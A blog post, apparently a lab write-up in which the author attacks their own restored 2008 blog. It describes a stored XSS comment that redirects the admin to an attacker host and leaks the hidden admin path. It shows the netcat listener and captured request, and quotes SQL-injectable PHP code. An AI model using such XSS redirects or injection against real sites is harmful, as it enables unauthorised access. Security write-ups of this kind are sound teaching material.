Hacking my old blog: part 2
Let's get into the admin panel...
In part one of this series I set up and looked at my old blog from ~2008. Part two builds on what we found previously and we gain access to the admin back end of the blog.
Finding the admin back end
This was a database driven blog so there's probably a back end somewhere that's full of forms to allow management of the site. From memory I used security by obscurity coupled with HTTP basic authentication to help hide that. Let me explain security by obscurity now and I'll unpack HTTP basic authentication later.
Security by obscurity, only fractionally better than no security at all, is the practice of protecting something by making it hard to find. In the case of my old blog, you'd need to guess the address of the admin panel. A reasonable guess would have been to look at /admin
, however, I obscured the path and /admin
would just result in a "file not found" HTTP 404. In order to defeat security by obscurity we could try to spider the site, rather than brute forcing[1] the path.
Spidering is the process of looking at the links on a website and following them, looking at further links. Depending on the tool you're using, and the size of the website, this can take hours. I spidered the blog and didn't find the admin interface - not surprising given it wasn't linked to from the public site. At this juncture we could brute force the address, trying different combinations of words, but that will take hours. Instead, let's exploit the cross site scripting (XSS) vulnerability we found in part one.
Using XSS to find the admin address
Browsing the blog and then opening the "add comment" form, I'm going to use some JavaScript to forcibly redirect the admin to a site that we (the attackers) control so we can find the address. We know from part one that the name field has a length limit so I've intentionally put this in the comment's body field.
Using window.location.href
we redirect the admin user to http://attacker.jonsdocs.org.uk, but we also pass the value of window.location.pathname
which is the path to the page the user was on before the redirection happened. Hopefully this will be the admin panel! Note that if the administration portal was on a completely different domain (e.g. blogadmin.jonsdocs.org.uk) we'd need to do further work to find that out, but in this case I know we've found what we're looking for.
Once I'd submitted my comment for review I started a listener on port 80 on my Kali attack box (attacker.jonsdocs.org.uk) using nc -l -p 80
. nc
is a useful command line tool that is used to send or receive data over the network. In this case I've put nc
in listening mode using -l
and instructed it to listen on TCP port 80 via -p 80
. This is where any requests would go when the admin reviewed the comments. Below is what my listener received:
GET /?source=/supercow/blog_console.php HTTP/1.1
Host: attacker.jonsdocs.org.uk
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.3/
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
There's a lot of information here, but the important piece is on the first line. We see the request was made using HTTP GET
and the resource being requested was /?source=/supercow/blog_console.php
. From that we can extract the path to the admin page: /supercow/blog_console.php
- I have no idea how I came up with supercow.
Getting access to the back end
Back when this blog was live, browsing to /supercow
would give a username and password prompt thanks to HTTP basic authentication. This is provided by the web server which compares the supplied credentials with those found in its password files which, for Apache2 back then, was a combination of .htaccess
and .htpasswd
. I didn't have HTTPS configured in 2008 so I was taking a risk that no-one would intercept my credentials.
My restored old code doesn't have HTTP basic authentication configured (the .htpasswd
file is also missing completely, quite by chance) so we can get straight to the admin panel. As expected there's a number of links to various areas and, unsurprisingly, there's a comment awaiting approval. This is the comment we placed earlier in order to find the admin interface address.
At this point I've started to nose around the admin panel and found various forms. Testing each of these with sqlmap
shows that no forms are injectable on the default settings. I'll be honest, this is quite a surprise to me as I'd have expected my old code to be soaked in SQL injection vulnerabilities. Looking at the code, which our attacker doesn't have access to, there must be another system or configuration stopping the SQL injection from working as the code looks like it should allow it:
$query = "INSERT INTO `blog` (`Rentry_title`,`entry_mood`,`entry_body`,`entry_timestamp`,`entry_tags`) VALUES ('$entry_title','$entry_mood','$entry_body_in','$entry_date','$tags')";
By using variables directly in the SQL statement like that ('$entry_title'
) there's no sanitisation going on to prevent the SQL injection. I even checked how variables like $entry_title
were generated and they're coming straight from the user submitted form (e.g. $_POST['entry_title']
). Nonetheless, submitting any text, in any form field, with an apostrophe is causing the SQL to fail and the SQL injection is prevented.
I'm now curious to know what's happened in my lab to protect the site - something I'll dig into further next time. There's no instance of mysql_real_escape_string()
, which can help with minimising the risk of SQL injection, so I'm suitably intrigued!
What have we accomplished?
We've managed to use cross site scripting to find the site's admin portal address, defeating security by obscurity. As authentication was handled purely by the web server configuration of the time, and not by the web site application itself, we've been able to get straight in to the administration panel. Ideally the web application should have performed the authentication, at which point we'd potentially still be locked out.
From our foothold inside the admin panel we can create new posts, tags and administer the site. We could make a new blog entry, perhaps a really offensive one or one to direct visitors to a malicious site although we could have done that with a comment. Alternatively we could just add a "site update" note so anyone browsing to the website is redirected instead, catching anyone visiting the homepage.
What's next?
Over the Christmas break I'm going to see what other hacks I can pull off against this site. I'm particularly interested to see if I can upload any files or gain access to the server itself - there's no upload forms though so I'll have to try and be creative.
Thanks for joining me so far. In the next post I discover why my SQL injection didn't work and discuss other options.
Banner image: Screenshot of the admin panel home page.
[1] Brute forcing involves trying many combinations, one after the other until we find the right answer. A word list can reduce the time this takes, but if the answer isn't found on the word list then you're out of luck.